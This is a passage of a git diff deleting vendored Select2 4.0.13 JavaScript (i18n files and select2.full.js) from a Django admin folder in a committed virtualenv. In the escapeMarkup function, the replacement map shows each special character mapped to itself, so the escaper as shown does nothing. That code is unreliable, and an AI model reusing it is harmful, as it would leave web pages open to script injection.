--- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/vi.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/vi",[],function(){return{inputTooLong:function(n){return"Vui lòng xóa bớt "+(n.input.length-n.maximum)+" ký tự"},inputTooShort:function(n){return"Vui lòng nhập thêm từ "+(n.minimum-n.input.length)+" ký tự trở lên"},loadingMore:function(){return"Đang lấy thêm kết quả…"},maximumSelected:function(n){return"Chỉ có thể chọn được "+n.maximum+" lựa chọn"},noResults:function(){return"Không tìm thấy kết quả"},searching:function(){return"Đang tìm…"},removeAllItems:function(){return"Xóa tất cả các mục"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/zh-CN.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/zh-CN.js deleted file mode 100644 index 2c5649d3..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/zh-CN.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/zh-CN",[],function(){return{errorLoading:function(){return"无法载入结果。"},inputTooLong:function(n){return"请删除"+(n.input.length-n.maximum)+"个字符"},inputTooShort:function(n){return"请再输入至少"+(n.minimum-n.input.length)+"个字符"},loadingMore:function(){return"载入更多结果…"},maximumSelected:function(n){return"最多只能选择"+n.maximum+"个项目"},noResults:function(){return"未找到结果"},searching:function(){return"搜索中…"},removeAllItems:function(){return"删除所有项目"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/zh-TW.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/zh-TW.js deleted file mode 100644 index 570a5669..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/zh-TW.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/zh-TW",[],function(){return{inputTooLong:function(n){return"請刪掉"+(n.input.length-n.maximum)+"個字元"},inputTooShort:function(n){return"請再輸入"+(n.minimum-n.input.length)+"個字元"},loadingMore:function(){return"載入中…"},maximumSelected:function(n){return"你只能選擇最多"+n.maximum+"項"},noResults:function(){return"沒有找到相符的項目"},searching:function(){return"搜尋中…"},removeAllItems:function(){return"刪除所有項目"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/select2.full.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/select2.full.js deleted file mode 100644 index 358572a6..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/select2.full.js +++ /dev/null @@ -1,6820 +0,0 @@ -/*! - * Select2 4.0.13 - * https://select2.github.io - * - * Released under the MIT license - * https://github.com/select2/select2/blob/master/LICENSE.md - */ -;(function (factory) { - if (typeof define === 'function' && define.amd) { - // AMD. Register as an anonymous module. - define(['jquery'], factory); - } else if (typeof module === 'object' && module.exports) { - // Node/CommonJS - module.exports = function (root, jQuery) { - if (jQuery === undefined) { - // require('jQuery') returns a factory that requires window to - // build a jQuery instance, we normalize how we use modules - // that require this pattern but the window provided is a noop - // if it's defined (how jquery works) - if (typeof window !== 'undefined') { - jQuery = require('jquery'); - } - else { - jQuery = require('jquery')(root); - } - } - factory(jQuery); - return jQuery; - }; - } else { - // Browser globals - factory(jQuery); - } -} (function (jQuery) { - // This is needed so we can catch the AMD loader configuration and use it - // The inner file should be wrapped (by `banner.start.js`) in a function that - // returns the AMD loader references. - var S2 =(function () { - // Restore the Select2 AMD loader so it can be used - // Needed mostly in the language files, where the loader is not inserted - if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) { - var S2 = jQuery.fn.select2.amd; - } -var S2;(function () { if (!S2 || !S2.requirejs) { -if (!S2) { S2 = {}; } else { require = S2; } -/** - * @license almond 0.3.3 Copyright jQuery Foundation and other contributors. - * Released under MIT license, http://github.com/requirejs/almond/LICENSE - */ -//Going sloppy to avoid 'use strict' string cost, but strict practices should -//be followed. -/*global setTimeout: false */ - -var requirejs, require, define; -(function (undef) { - var main, req, makeMap, handlers, - defined = {}, - waiting = {}, - config = {}, - defining = {}, - hasOwn = Object.prototype.hasOwnProperty, - aps = [].slice, - jsSuffixRegExp = /\.js$/; - - function hasProp(obj, prop) { - return hasOwn.call(obj, prop); - } - - /** - * Given a relative module name, like ./something, normalize it to - * a real name that can be mapped to a path. - * @param {String} name the relative name - * @param {String} baseName a real name that the name arg is relative - * to. - * @returns {String} normalized name - */ - function normalize(name, baseName) { - var nameParts, nameSegment, mapValue, foundMap, lastIndex, - foundI, foundStarMap, starI, i, j, part, normalizedBaseParts, - baseParts = baseName && baseName.split("/"), - map = config.map, - starMap = (map && map['*']) || {}; - - //Adjust any relative paths. - if (name) { - name = name.split('/'); - lastIndex = name.length - 1; - - // If wanting node ID compatibility, strip .js from end - // of IDs. Have to do this here, and not in nameToUrl - // because node allows either .js or non .js to map - // to same file. - if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) { - name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, ''); - } - - // Starts with a '.' so need the baseName - if (name[0].charAt(0) === '.' && baseParts) { - //Convert baseName to array, and lop off the last part, - //so that . matches that 'directory' and not name of the baseName's - //module. For instance, baseName of 'one/two/three', maps to - //'one/two/three.js', but we want the directory, 'one/two' for - //this normalization. - normalizedBaseParts = baseParts.slice(0, baseParts.length - 1); - name = normalizedBaseParts.concat(name); - } - - //start trimDots - for (i = 0; i < name.length; i++) { - part = name[i]; - if (part === '.') { - name.splice(i, 1); - i -= 1; - } else if (part === '..') { - // If at the start, or previous value is still .., - // keep them so that when converted to a path it may - // still work when converted to a path, even though - // as an ID it is less than ideal. In larger point - // releases, may be better to just kick out an error. - if (i === 0 || (i === 1 && name[2] === '..') || name[i - 1] === '..') { - continue; - } else if (i > 0) { - name.splice(i - 1, 2); - i -= 2; - } - } - } - //end trimDots - - name = name.join('/'); - } - - //Apply map config if available. - if ((baseParts || starMap) && map) { - nameParts = name.split('/'); - - for (i = nameParts.length; i > 0; i -= 1) { - nameSegment = nameParts.slice(0, i).join("/"); - - if (baseParts) { - //Find the longest baseName segment match in the config. - //So, do joins on the biggest to smallest lengths of baseParts. - for (j = baseParts.length; j > 0; j -= 1) { - mapValue = map[baseParts.slice(0, j).join('/')]; - - //baseName segment has config, find if it has one for - //this name. - if (mapValue) { - mapValue = mapValue[nameSegment]; - if (mapValue) { - //Match, update name to the new value. - foundMap = mapValue; - foundI = i; - break; - } - } - } - } - - if (foundMap) { - break; - } - - //Check for a star map match, but just hold on to it, - //if there is a shorter segment match later in a matching - //config, then favor over this star map. - if (!foundStarMap && starMap && starMap[nameSegment]) { - foundStarMap = starMap[nameSegment]; - starI = i; - } - } - - if (!foundMap && foundStarMap) { - foundMap = foundStarMap; - foundI = starI; - } - - if (foundMap) { - nameParts.splice(0, foundI, foundMap); - name = nameParts.join('/'); - } - } - - return name; - } - - function makeRequire(relName, forceSync) { - return function () { - //A version of a require function that passes a moduleName - //value for items that may need to - //look up paths relative to the moduleName - var args = aps.call(arguments, 0); - - //If first arg is not require('string'), and there is only - //one arg, it is the array form without a callback. Insert - //a null so that the following concat is correct. - if (typeof args[0] !== 'string' && args.length === 1) { - args.push(null); - } - return req.apply(undef, args.concat([relName, forceSync])); - }; - } - - function makeNormalize(relName) { - return function (name) { - return normalize(name, relName); - }; - } - - function makeLoad(depName) { - return function (value) { - defined[depName] = value; - }; - } - - function callDep(name) { - if (hasProp(waiting, name)) { - var args = waiting[name]; - delete waiting[name]; - defining[name] = true; - main.apply(undef, args); - } - - if (!hasProp(defined, name) && !hasProp(defining, name)) { - throw new Error('No ' + name); - } - return defined[name]; - } - - //Turns a plugin!resource to [plugin, resource] - //with the plugin being undefined if the name - //did not have a plugin prefix. - function splitPrefix(name) { - var prefix, - index = name ? name.indexOf('!') : -1; - if (index > -1) { - prefix = name.substring(0, index); - name = name.substring(index + 1, name.length); - } - return [prefix, name]; - } - - //Creates a parts array for a relName where first part is plugin ID, - //second part is resource ID. Assumes relName has already been normalized. - function makeRelParts(relName) { - return relName ? splitPrefix(relName) : []; - } - - /** - * Makes a name map, normalizing the name, and using a plugin - * for normalization if necessary. Grabs a ref to plugin - * too, as an optimization. - */ - makeMap = function (name, relParts) { - var plugin, - parts = splitPrefix(name), - prefix = parts[0], - relResourceName = relParts[1]; - - name = parts[1]; - - if (prefix) { - prefix = normalize(prefix, relResourceName); - plugin = callDep(prefix); - } - - //Normalize according - if (prefix) { - if (plugin && plugin.normalize) { - name = plugin.normalize(name, makeNormalize(relResourceName)); - } else { - name = normalize(name, relResourceName); - } - } else { - name = normalize(name, relResourceName); - parts = splitPrefix(name); - prefix = parts[0]; - name = parts[1]; - if (prefix) { - plugin = callDep(prefix); - } - } - - //Using ridiculous property names for space reasons - return { - f: prefix ? prefix + '!' + name : name, //fullName - n: name, - pr: prefix, - p: plugin - }; - }; - - function makeConfig(name) { - return function () { - return (config && config.config && config.config[name]) || {}; - }; - } - - handlers = { - require: function (name) { - return makeRequire(name); - }, - exports: function (name) { - var e = defined[name]; - if (typeof e !== 'undefined') { - return e; - } else { - return (defined[name] = {}); - } - }, - module: function (name) { - return { - id: name, - uri: '', - exports: defined[name], - config: makeConfig(name) - }; - } - }; - - main = function (name, deps, callback, relName) { - var cjsModule, depName, ret, map, i, relParts, - args = [], - callbackType = typeof callback, - usingExports; - - //Use name if no relName - relName = relName || name; - relParts = makeRelParts(relName); - - //Call the callback to define the module, if necessary. - if (callbackType === 'undefined' || callbackType === 'function') { - //Pull out the defined dependencies and pass the ordered - //values to the callback. - //Default to [require, exports, module] if no deps - deps = !deps.length && callback.length ? ['require', 'exports', 'module'] : deps; - for (i = 0; i < deps.length; i += 1) { - map = makeMap(deps[i], relParts); - depName = map.f; - - //Fast path CommonJS standard dependencies. - if (depName === "require") { - args[i] = handlers.require(name); - } else if (depName === "exports") { - //CommonJS module spec 1.1 - args[i] = handlers.exports(name); - usingExports = true; - } else if (depName === "module") { - //CommonJS module spec 1.1 - cjsModule = args[i] = handlers.module(name); - } else if (hasProp(defined, depName) || - hasProp(waiting, depName) || - hasProp(defining, depName)) { - args[i] = callDep(depName); - } else if (map.p) { - map.p.load(map.n, makeRequire(relName, true), makeLoad(depName), {}); - args[i] = defined[depName]; - } else { - throw new Error(name + ' missing ' + depName); - } - } - - ret = callback ? callback.apply(defined[name], args) : undefined; - - if (name) { - //If setting exports via "module" is in play, - //favor that over return value and exports. After that, - //favor a non-undefined return value over exports use. - if (cjsModule && cjsModule.exports !== undef && - cjsModule.exports !== defined[name]) { - defined[name] = cjsModule.exports; - } else if (ret !== undef || !usingExports) { - //Use the return value from the function. - defined[name] = ret; - } - } - } else if (name) { - //May just be an object definition for the module. Only - //worry about defining if have a module name. - defined[name] = callback; - } - }; - - requirejs = require = req = function (deps, callback, relName, forceSync, alt) { - if (typeof deps === "string") { - if (handlers[deps]) { - //callback in this case is really relName - return handlers[deps](callback); - } - //Just return the module wanted. In this scenario, the - //deps arg is the module name, and second arg (if passed) - //is just the relName. - //Normalize module name, if it contains . or .. - return callDep(makeMap(deps, makeRelParts(callback)).f); - } else if (!deps.splice) { - //deps is a config object, not an array. - config = deps; - if (config.deps) { - req(config.deps, config.callback); - } - if (!callback) { - return; - } - - if (callback.splice) { - //callback is an array, which means it is a dependency list. - //Adjust args if there are dependencies - deps = callback; - callback = relName; - relName = null; - } else { - deps = undef; - } - } - - //Support require(['a']) - callback = callback || function () {}; - - //If relName is a function, it is an errback handler, - //so remove it. - if (typeof relName === 'function') { - relName = forceSync; - forceSync = alt; - } - - //Simulate async callback; - if (forceSync) { - main(undef, deps, callback, relName); - } else { - //Using a non-zero value because of concern for what old browsers - //do, and latest browsers "upgrade" to 4 if lower value is used: - //http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-settimeout: - //If want a value immediately, use require('id') instead -- something - //that works in almond on the global level, but not guaranteed and - //unlikely to work in other AMD implementations. - setTimeout(function () { - main(undef, deps, callback, relName); - }, 4); - } - - return req; - }; - - /** - * Just drops the config on the floor, but returns req in case - * the config return value is used. - */ - req.config = function (cfg) { - return req(cfg); - }; - - /** - * Expose module registry for debugging and tooling - */ - requirejs._defined = defined; - - define = function (name, deps, callback) { - if (typeof name !== 'string') { - throw new Error('See almond README: incorrect module build, no module name'); - } - - //This module may not have dependencies - if (!deps.splice) { - //deps is not an array, so probably means - //an object literal or factory function for - //the value. Adjust args. - callback = deps; - deps = []; - } - - if (!hasProp(defined, name) && !hasProp(waiting, name)) { - waiting[name] = [name, deps, callback]; - } - }; - - define.amd = { - jQuery: true - }; -}()); - -S2.requirejs = requirejs;S2.require = require;S2.define = define; -} -}()); -S2.define("almond", function(){}); - -/* global jQuery:false, $:false */ -S2.define('jquery',[],function () { - var _$ = jQuery || $; - - if (_$ == null && console && console.error) { - console.error( - 'Select2: An instance of jQuery or a jQuery-compatible library was not ' + - 'found. Make sure that you are including jQuery before Select2 on your ' + - 'web page.' - ); - } - - return _$; -}); - -S2.define('select2/utils',[ - 'jquery' -], function ($) { - var Utils = {}; - - Utils.Extend = function (ChildClass, SuperClass) { - var __hasProp = {}.hasOwnProperty; - - function BaseConstructor () { - this.constructor = ChildClass; - } - - for (var key in SuperClass) { - if (__hasProp.call(SuperClass, key)) { - ChildClass[key] = SuperClass[key]; - } - } - - BaseConstructor.prototype = SuperClass.prototype; - ChildClass.prototype = new BaseConstructor(); - ChildClass.__super__ = SuperClass.prototype; - - return ChildClass; - }; - - function getMethods (theClass) { - var proto = theClass.prototype; - - var methods = []; - - for (var methodName in proto) { - var m = proto[methodName]; - - if (typeof m !== 'function') { - continue; - } - - if (methodName === 'constructor') { - continue; - } - - methods.push(methodName); - } - - return methods; - } - - Utils.Decorate = function (SuperClass, DecoratorClass) { - var decoratedMethods = getMethods(DecoratorClass); - var superMethods = getMethods(SuperClass); - - function DecoratedClass () { - var unshift = Array.prototype.unshift; - - var argCount = DecoratorClass.prototype.constructor.length; - - var calledConstructor = SuperClass.prototype.constructor; - - if (argCount > 0) { - unshift.call(arguments, SuperClass.prototype.constructor); - - calledConstructor = DecoratorClass.prototype.constructor; - } - - calledConstructor.apply(this, arguments); - } - - DecoratorClass.displayName = SuperClass.displayName; - - function ctr () { - this.constructor = DecoratedClass; - } - - DecoratedClass.prototype = new ctr(); - - for (var m = 0; m < superMethods.length; m++) { - var superMethod = superMethods[m]; - - DecoratedClass.prototype[superMethod] = - SuperClass.prototype[superMethod]; - } - - var calledMethod = function (methodName) { - // Stub out the original method if it's not decorating an actual method - var originalMethod = function () {}; - - if (methodName in DecoratedClass.prototype) { - originalMethod = DecoratedClass.prototype[methodName]; - } - - var decoratedMethod = DecoratorClass.prototype[methodName]; - - return function () { - var unshift = Array.prototype.unshift; - - unshift.call(arguments, originalMethod); - - return decoratedMethod.apply(this, arguments); - }; - }; - - for (var d = 0; d < decoratedMethods.length; d++) { - var decoratedMethod = decoratedMethods[d]; - - DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod); - } - - return DecoratedClass; - }; - - var Observable = function () { - this.listeners = {}; - }; - - Observable.prototype.on = function (event, callback) { - this.listeners = this.listeners || {}; - - if (event in this.listeners) { - this.listeners[event].push(callback); - } else { - this.listeners[event] = [callback]; - } - }; - - Observable.prototype.trigger = function (event) { - var slice = Array.prototype.slice; - var params = slice.call(arguments, 1); - - this.listeners = this.listeners || {}; - - // Params should always come in as an array - if (params == null) { - params = []; - } - - // If there are no arguments to the event, use a temporary object - if (params.length === 0) { - params.push({}); - } - - // Set the `_type` of the first object to the event - params[0]._type = event; - - if (event in this.listeners) { - this.invoke(this.listeners[event], slice.call(arguments, 1)); - } - - if ('*' in this.listeners) { - this.invoke(this.listeners['*'], arguments); - } - }; - - Observable.prototype.invoke = function (listeners, params) { - for (var i = 0, len = listeners.length; i < len; i++) { - listeners[i].apply(this, params); - } - }; - - Utils.Observable = Observable; - - Utils.generateChars = function (length) { - var chars = ''; - - for (var i = 0; i < length; i++) { - var randomChar = Math.floor(Math.random() * 36); - chars += randomChar.toString(36); - } - - return chars; - }; - - Utils.bind = function (func, context) { - return function () { - func.apply(context, arguments); - }; - }; - - Utils._convertData = function (data) { - for (var originalKey in data) { - var keys = originalKey.split('-'); - - var dataLevel = data; - - if (keys.length === 1) { - continue; - } - - for (var k = 0; k < keys.length; k++) { - var key = keys[k]; - - // Lowercase the first letter - // By default, dash-separated becomes camelCase - key = key.substring(0, 1).toLowerCase() + key.substring(1); - - if (!(key in dataLevel)) { - dataLevel[key] = {}; - } - - if (k == keys.length - 1) { - dataLevel[key] = data[originalKey]; - } - - dataLevel = dataLevel[key]; - } - - delete data[originalKey]; - } - - return data; - }; - - Utils.hasScroll = function (index, el) { - // Adapted from the function created by @ShadowScripter - // and adapted by @BillBarry on the Stack Exchange Code Review website. - // The original code can be found at - // http://codereview.stackexchange.com/q/13338 - // and was designed to be used with the Sizzle selector engine. - - var $el = $(el); - var overflowX = el.style.overflowX; - var overflowY = el.style.overflowY; - - //Check both x and y declarations - if (overflowX === overflowY && - (overflowY === 'hidden' || overflowY === 'visible')) { - return false; - } - - if (overflowX === 'scroll' || overflowY === 'scroll') { - return true; - } - - return ($el.innerHeight() < el.scrollHeight || - $el.innerWidth() < el.scrollWidth); - }; - - Utils.escapeMarkup = function (markup) { - var replaceMap = { - '\\': '\', - '&': '&', - '<': '<', - '>': '>', - '"': '"', - '\'': ''', - '/': '/' - }; - - // Do not try to escape the markup if it's not a string - if (typeof markup !== 'string') { - return markup; - } - - return String(markup).replace(/[&<>"'\/\\]/g, function (match) { - return replaceMap[match]; - }); - }; - - // Append an array of jQuery nodes to a given element. - Utils.appendMany = function ($element, $nodes) { - // jQuery 1.7.x does not support $.fn.append() with an array - // Fall back to a jQuery object collection using $.fn.add() - if ($.fn.jquery.substr(0, 3) === '1.7') { - var $jqNodes = $(); - - $.map($nodes, function (node) { - $jqNodes = $jqNodes.add(node); - }); - - $nodes = $jqNodes; - } - - $element.append($nodes); - }; - - // Cache objects in Utils.__cache instead of $.data (see #4346) - Utils.__cache = {}; - - var id = 0; - Utils.GetUniqueElementId = function (element) { - // Get a unique element Id. If element has no id, - // creates a new unique number, stores it in the id - // attribute and returns the new id. - // If an id already exists, it simply returns it. - - var select2Id = element.getAttribute('data-select2-id'); - if (select2Id == null) { - // If element has id, use it. - if (element.id) { - select2Id = element.id; - element.setAttribute('data-select2-id', select2Id); - } else { - element.setAttribute('data-select2-id', ++id); - select2Id = id.toString(); - } - } - return select2Id; - }; - - Utils.StoreData = function (element, name, value) { - // Stores an item in the cache for a specified element. - // name is the cache key. - var id = Utils.GetUniqueElementId(element); - if (!Utils.__cache[id]) { - Utils.__cache[id] = {}; - } - - Utils.__cache[id][name] = value; - }; - - Utils.GetData = function (element, name) { - // Retrieves a value from the cache by its key (name) - // name is optional. If no name specified, return - // all cache items for the specified element. - // and for a specified element. - var id = Utils.GetUniqueElementId(element); - if (name) { - if (Utils.__cache[id]) { - if (Utils.__cache[id][name] != null) { - return Utils.__cache[id][name]; - } - return $(element).data(name); // Fallback to HTML5 data attribs. - } - return $(element).data(name); // Fallback to HTML5 data attribs. - } else { - return Utils.__cache[id]; - } - }; - - Utils.RemoveData = function (element) { - // Removes all cached items for a specified element. - var id = Utils.GetUniqueElementId(element); - if (Utils.__cache[id] != null) { - delete Utils.__cache[id]; - } - - element.removeAttribute('data-select2-id'); - }; - - return Utils; -}); - -S2.define('select2/results',[ - 'jquery', - './utils' -], function ($, Utils) { - function Results ($element, options, dataAdapter) { - this.$element = $element; - this.data = dataAdapter; - this.options = options; - - Results.__super__.constructor.call(this); - } - - Utils.Extend(Results, Utils.Observable); - - Results.prototype.render = function () { - var $results = $( - '<ul class="select2-results__options" role="listbox"></ul>' - ); - - if (this.options.get('multiple')) { - $results.attr('aria-multiselectable', 'true'); - } - - this.$results = $results; - - return $results; - }; - - Results.prototype.clear = function () { - this.$results.empty(); - }; - - Results.prototype.displayMessage = function (params) { - var escapeMarkup = this.options.get('escapeMarkup'); - - this.clear(); - this.hideLoading(); - - var $message = $( - '<li role="alert" aria-live="assertive"' + - ' class="select2-results__option"></li>' - ); - - var message = this.options.get('translations').get(params.message); - - $message.append( - escapeMarkup( - message(params.args) - ) - ); - - $message[0].className += ' select2-results__message'; - - this.$results.append($message); - }; - - Results.prototype.hideMessages = function () { - this.$results.find('.select2-results__message').remove(); - }; - - Results.prototype.append = function (data) { - this.hideLoading(); - - var $options = []; - - if (data.results == null || data.results.length === 0) { - if (this.$results.children().length === 0) { - this.trigger('results:message', { - message: 'noResults' - }); - } - - return; - } - - data.results = this.sort(data.results); - - for (var d = 0; d < data.results.length; d++) { - var item = data.results[d]; - - var $option = this.option(item); - - $options.push($option); - } - - this.$results.append($options); - }; - - Results.prototype.position = function ($results, $dropdown) { - var $resultsContainer = $dropdown.find('.select2-results'); - $resultsContainer.append($results); - }; - - Results.prototype.sort = function (data) { - var sorter = this.options.get('sorter'); - - return sorter(data); - }; - - Results.prototype.highlightFirstItem = function () { - var $options = this.$results - .find('.select2-results__option[aria-selected]'); - - var $selected = $options.filter('[aria-selected=true]'); - - // Check if there are any selected options - if ($selected.length > 0) { - // If there are selected options, highlight the first - $selected.first().trigger('mouseenter'); - } else { - // If there are no selected options, highlight the first option - // in the dropdown - $options.first().trigger('mouseenter'); - } - - this.ensureHighlightVisible(); - }; - - Results.prototype.setClasses = function () { - var self = this; - - this.data.current(function (selected) { - var selectedIds = $.map(selected, function (s) { - return s.id.toString(); - }); - - var $options = self.$results - .find('.select2-results__option[aria-selected]'); - - $options.each(function () { - var $option = $(this); - - var item = Utils.GetData(this, 'data'); - - // id needs to be converted to a string when comparing - var id = '' + item.id; - - if ((item.element != null && item.element.selected) || - (item.element == null && $.inArray(id, selectedIds) > -1)) { - $option.attr('aria-selected', 'true'); - } else { - $option.attr('aria-selected', 'false'); - } - }); - - }); - }; - - Results.prototype.showLoading = function (params) { - this.hideLoading(); - - var loadingMore = this.options.get('translations').get('searching'); - - var loading = { - disabled: true, - loading: true, - text: loadingMore(params) - }; - var $loading = this.option(loading); - $loading.className += ' loading-results'; - - this.$results.prepend($loading); - }; - - Results.prototype.hideLoading = function () { - this.$results.find('.loading-results').remove(); - }; - - Results.prototype.option = function (data) { - var option = document.createElement('li'); - option.className = 'select2-results__option'; - - var attrs = { - 'role': 'option', - 'aria-selected': 'false' - }; - - var matches = window.Element.prototype.matches || - window.Element.prototype.msMatchesSelector || - window.Element.prototype.webkitMatchesSelector; - - if ((data.element != null && matches.call(data.element, ':disabled')) || - (data.element == null && data.disabled)) { - delete attrs['aria-selected']; - attrs['aria-disabled'] = 'true'; - } - - if (data.id == null) { - delete attrs['aria-selected']; - } - - if (data._resultId != null) { - option.id = data._resultId; - } - - if (data.title) { - option.title = data.title; - } - - if (data.children) { - attrs.role = 'group'; - attrs['aria-label'] = data.text; - delete attrs['aria-selected']; - } - - for (var attr in attrs) { - var val = attrs[attr]; - - option.setAttribute(attr, val); - } - - if (data.children) { - var $option = $(option); - - var label = document.createElement('strong'); - label.className = 'select2-results__group'; - - var $label = $(label); - this.template(data, label); - - var $children = []; - - for (var c = 0; c < data.children.length; c++) { - var child = data.children[c]; - - var $child = this.option(child); - - $children.push($child); - } - - var $childrenContainer = $('<ul></ul>', { - 'class': 'select2-results__options select2-results__options--nested' - }); - - $childrenContainer.append($children); - - $option.append(label); - $option.append($childrenContainer); - } else { - this.template(data, option); - } - - Utils.StoreData(option, 'data', data); - - return option; - }; - - Results.prototype.bind = function (container, $container) { - var self = this; - - var id = container.id + '-results'; - - this.$results.attr('id', id); - - container.on('results:all', function (params) { - self.clear(); - self.append(params.data); - - if (container.isOpen()) { - self.setClasses(); - self.highlightFirstItem(); - } - }); - - container.on('results:append', function (params) { - self.append(params.data); - - if (container.isOpen()) { - self.setClasses(); - } - }); - - container.on('query', function (params) { - self.hideMessages(); - self.showLoading(params); - }); - - container.on('select', function () { - if (!container.isOpen()) { - return; - } - - self.setClasses(); - - if (self.options.get('scrollAfterSelect')) { - self.highlightFirstItem(); - } - }); - - container.on('unselect', function () { - if (!container.isOpen()) { - return; - } - - self.setClasses(); - - if (self.options.get('scrollAfterSelect')) { - self.highlightFirstItem(); - } - }); - - container.on('open', function () { - // When the dropdown is open, aria-expended="true" - self.$results.attr('aria-expanded', 'true'); - self.$results.attr('aria-hidden', 'false'); - - self.setClasses(); - self.ensureHighlightVisible(); - }); - - container.on('close', function () { - // When the dropdown is closed, aria-expended="false" - self.$results.attr('aria-expanded', 'false'); - self.$results.attr('aria-hidden', 'true'); - self.$results.removeAttr('aria-activedescendant'); - }); - - container.on('results:toggle', function () { - var $highlighted = self.getHighlightedResults(); - - if ($highlighted.length === 0) { - return; - } - - $highlighted.trigger('mouseup'); - }); - - container.on('results:select', function () { - var $highlighted = self.getHighlightedResults(); - - if ($highlighted.length === 0) { - return; - } - - var data = Utils.GetData($highlighted[0], 'data'); - - if ($highlighted.attr('aria-selected') == 'true') { - self.trigger('close', {}); - } else { - self.trigger('select', { - data: data - }); - } - }); - - container.on('results:previous', function () { - var $highlighted = self.getHighlightedResults(); - - var $options = self.$results.find('[aria-selected]'); - - var currentIndex = $options.index($highlighted); - - // If we are already at the top, don't move further - // If no options, currentIndex will be -1 - if (currentIndex <= 0) { - return; - } - - var nextIndex = currentIndex - 1; - - // If none are highlighted, highlight the first - if ($highlighted.length === 0) { - nextIndex = 0; - } - - var $next = $options.eq(nextIndex); - - $next.trigger('mouseenter'); - - var currentOffset = self.$results.offset().top; - var nextTop = $next.offset().top; - var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset); - - if (nextIndex === 0) { - self.$results.scrollTop(0); - } else if (nextTop - currentOffset < 0) { - self.$results.scrollTop(nextOffset); - } - }); - - container.on('results:next', function () { - var $highlighted = self.getHighlightedResults(); - - var $options = self.$results.find('[aria-selected]'); - - var currentIndex = $options.index($highlighted); - - var nextIndex = currentIndex + 1; - - // If we are at the last option, stay there - if (nextIndex >= $options.length) { - return; - } - - var $next = $options.eq(nextIndex); - - $next.trigger('mouseenter'); - - var currentOffset = self.$results.offset().top + - self.$results.outerHeight(false); - var nextBottom = $next.offset().top + $next.outerHeight(false); - var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset; - - if (nextIndex === 0) { - self.$results.scrollTop(0); - } else if (nextBottom > currentOffset) { - self.$results.scrollTop(nextOffset); - } - }); - - container.on('results:focus', function (params) { - params.element.addClass('select2-results__option--highlighted'); - }); - - container.on('results:message', function (params) { - self.displayMessage(params); - }); - - if ($.fn.mousewheel) { - this.$results.on('mousewheel', function (e) { - var top = self.$results.scrollTop(); - - var bottom = self.$results.get(0).scrollHeight - top + e.deltaY; - - var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0; - var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height(); - - if (isAtTop) { - self.$results.scrollTop(0); - - e.preventDefault(); - e.stopPropagation(); - } else if (isAtBottom) { - self.$results.scrollTop( - self.$results.get(0).scrollHeight - self.$results.height() - ); - - e.preventDefault(); - e.stopPropagation(); - } - }); - } - - this.$results.on('mouseup', '.select2-results__option[aria-selected]', - function (evt) { - var $this = $(this); - - var data = Utils.GetData(this, 'data'); - - if ($this.attr('aria-selected') === 'true') { - if (self.options.get('multiple')) { - self.trigger('unselect', { - originalEvent: evt, - data: data - }); - } else { - self.trigger('close', {}); - } - - return; - } - - self.trigger('select', { - originalEvent: evt, - data: data - }); - }); - - this.$results.on('mouseenter', '.select2-results__option[aria-selected]', - function (evt) { - var data = Utils.GetData(this, 'data'); - - self.getHighlightedResults() - .removeClass('select2-results__option--highlighted'); - - self.trigger('results:focus', { - data: data, - element: $(this) - }); - }); - }; - - Results.prototype.getHighlightedResults = function () { - var $highlighted = this.$results - .find('.select2-results__option--highlighted'); - - return $highlighted; - }; - - Results.prototype.destroy = function () { - this.$results.remove(); - }; - - Results.prototype.ensureHighlightVisible = function () { - var $highlighted = this.getHighlightedResults(); - - if ($highlighted.length === 0) { - return; - } - - var $options = this.$results.find('[aria-selected]'); - - var currentIndex = $options.index($highlighted); - - var currentOffset = this.$results.offset().top; - var nextTop = $highlighted.offset().top; - var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset); - - var offsetDelta = nextTop - currentOffset; - nextOffset -= $highlighted.outerHeight(false) * 2; - - if (currentIndex <= 2) { - this.$results.scrollTop(0); - } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) { - this.$results.scrollTop(nextOffset); - } - }; - - Results.prototype.template = function (result, container) { - var template = this.options.get('templateResult'); - var escapeMarkup = this.options.get('escapeMarkup'); - - var content = template(result, container); - - if (content == null) { - container.style.display = 'none'; - } else if (typeof content === 'string') { - container.innerHTML = escapeMarkup(content); - } else { - 